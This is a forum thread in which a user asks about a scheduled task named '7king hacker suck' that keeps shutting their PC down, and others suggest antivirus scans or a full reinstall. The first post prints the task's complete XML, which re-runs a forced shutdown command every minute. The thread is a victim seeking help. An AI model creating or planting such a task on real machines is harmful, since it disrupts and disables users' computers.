"7king hacker suck" task in Task Scheduler

[Guiltyxz]

A few days ago my pc shutdown randomly, and would after a minute of being logged in, eventually I booted into safe mode and found that a task by the name of "7king hacker suck" had been created 1 min before my PC shutdown. I removed it and when I booted up again I googled and I could only find one forum thread with no replys about it. Does anyone know what causes it? I have had it happen before but then I never found it in Task Scheduler and just did a system refresh or whatever (where it takes your system back in time idk)

 

The code from the XML document are

Spoiler

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2020-10-25T13:57:17</Date>
    <Author>JOSEPHS-PC\heygu</Author>
    <URI>\7king hacker suck</URI>
  </RegistrationInfo>
  <Triggers>
    <TimeTrigger>
      <Repetition>
        <Interval>PT1M</Interval>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2020-10-25T13:57:00</StartBoundary>
      <Enabled>true</Enabled>
    </TimeTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-21-1038655758-2430040986-4280083883-1001</UserId>
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <Duration>PT10M</Duration>
      <WaitTimeout>PT1H</WaitTimeout>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>false</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>cmd.exe</Command>
      <Arguments>/c shutdown -s -t 0</Arguments>
    </Exec>
  </Actions>
</Task>

 

[Orange1]

Looks like a virus, do a scan and wipe it out.

[RAM555789]

Malwarebytes should pick it up.

 

[Guiltyxz]

8 minutes ago, Orange1 said:

Looks like a virus, do a scan and wipe it out.

Do you have any antivirus to recommend? 

[dilpickle]

The safest and easiest thing to do is wipe your entire system and start from scratch. Once you've been compromised you can never be certain that you've got rid of it.

[eeeee1]

that is slightly scary. i would have had a heart attack by now

13 minutes ago, WY6 said:

Do you have any antivirus to recommend? 

I think people like malwarebytes and ltt once promoted bitdefender

[CommanderAlex]

13 minutes ago, WY6 said:

Do you have any antivirus to recommend? 

Malwarebytes Anti-Malware is pretty good. Also Windows Security should be one of the best free ones out there. I would recommend a full scan of the system as well as any attached drives to make sure nothing is left.

[Orange1]

4 hours ago, dilpickle said:

The safest and easiest thing to do is wipe your entire system and start from scratch. Once you've been compromised you can never be certain that you've got rid of it.

Only on the most extreme cases of a virus would you re install from fresh the o/s.

[dilpickle]

2 hours ago, Orange1 said:

Only on the most extreme cases of a virus would you re install from fresh the o/s.

There is no such thing as a non-extreme virus. A compromised system is a compromised system. If you have a virus that means you are being unsafe online and there is no telling what else could be on your system. With rampant ransomware this is not something to be taken lightly.

 

Anti-virus software is far from foolproof. None of them can keep up with all the threats out there. I thought this was common knowledge at least among tech savvy folks but it seems like everyone is living in blissful ignorance.

[LeStupidoNuob]

its a virus ,

A Trojan Virus but idk what type of is but (mine is named as Trojan.Shutdown)

 

this &king hacker suckvirus thing can disguise it self as a taskeng and shutdown completely my pc.

theres a folder to it. tho my trojen viruses downloader without me noticing it idk how it got downloaded.